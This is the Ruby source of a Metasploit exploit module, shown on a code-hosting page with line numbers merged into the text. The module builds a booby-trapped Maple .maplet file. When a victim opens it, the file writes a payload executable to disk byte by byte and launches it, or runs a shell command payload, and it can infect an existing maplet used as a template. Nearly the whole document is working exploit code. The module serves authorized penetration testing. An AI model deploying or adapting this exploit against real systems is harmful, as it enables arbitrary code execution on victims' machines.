Path: blob/master/modules/exploits/multi/fileformat/maple_maplet.rb
29774 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::FILEFORMAT9include Msf::Exploit::EXE1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Maple Maplet File Creation and Command Execution',16'Description' => %q{17This module harnesses Maple's ability to create files and execute commands18automatically when opening a Maplet. All versions up to 13 are suspected19vulnerable. Testing was conducted with version 13 on Windows. Standard security20settings prevent code from running in a normal maple worksheet without user21interaction, but those setting do not prevent code in a Maplet from running.2223In order for the payload to be executed, an attacker must convince someone to24open a specially modified .maplet file with Maple. By doing so, an attacker can25execute arbitrary code as the victim user.26},27'License' => MSF_LICENSE,28'Author' => [29'scriptjunkie'30],31'References' => [32[ 'CVE', '2010-20120' ],33[ 'OSVDB', '64541'],34[ 'URL', 'http://www.maplesoft.com/products/maple/' ]35],36'Payload' => {37'Space' => 1024,38'BadChars' => '',39'DisableNops' => true40# 'Compat' =>41# {42# 'PayloadType' => 'cmd',43# 'RequiredCmd' => 'generic perl telnet',44# }45},46'Targets' => [47[48'Windows',49{50'Arch' => ARCH_X86,51'Platform' => 'win'52}53],5455[56'Windows X64',57{58'Arch' => ARCH_X64,59'Platform' => 'win'60}61],6263[64'Linux',65{66'Arch' => ARCH_X86,67'Platform' => 'linux'68}69],7071[72'Linux X64',73{74'Arch' => ARCH_X64,75'Platform' => 'linux'76}77],7879[80'Universal CMD',81{82'Arch' => ARCH_CMD,83'Platform' => %w[linux unix win]84}85]8687],88'DisclosureDate' => '2010-04-26',89'DefaultTarget' => 0,90'Notes' => {91'Reliability' => UNKNOWN_RELIABILITY,92'Stability' => UNKNOWN_STABILITY,93'SideEffects' => UNKNOWN_SIDE_EFFECTS94}95)96)9798register_options(99[100OptString.new('TEMPLATE', [ false, 'The file to infect.', '']),101OptString.new('FILENAME', [ true, 'The output file.', 'msf.maplet']),102]103)104end105106def exploit107content = ''108if target['Arch'] != ARCH_CMD109# Get payload as executable on whatever platform110binary = generate_payload_exe111112# Get filename and random variable name for file handle in script113fname = rand_text_alpha(rand(3..17))114if target['Platform'] == 'win'115fname << '.exe'116end117fhandle = rand_text_alpha(rand(3..17))118119# Write maple commands to create executable120content = fhandle + " := fopen(\"#{fname}\",WRITE,BINARY);\n"121exe = binary.unpack('C*')122123content << "writebytes(#{fhandle},[#{exe[0]}"124lines = []1251.upto(exe.length - 1) do |byte|126if (byte % 100 == 0)127lines.push "]);\r\nwritebytes(#{fhandle},[#{exe[byte]}"128else129lines.push ",#{exe[byte]}"130end131end132content << lines.join('') + "]);\r\n"133134content << 'fclose(' + fhandle + ");\n"135# Write command to be executed136if target['Platform'] != 'win'137content << "system(\"chmod a+x #{fname}\");\n"138end139content << "system[launch](\"#{fname}\");\n"140else141content << "system(\"#{payload.encoded}\");\n"142end143144# Then put the rest of the original maplet145if datastore['TEMPLATE'] != ''146File.open(datastore['TEMPLATE'], 'rb') do |fd|147content << fd.read(File.size(datastore['TEMPLATE']))148end149end150151# Create the file152print_status("Creating '#{datastore['FILENAME']}' file...")153file_create(content)154end155end156157158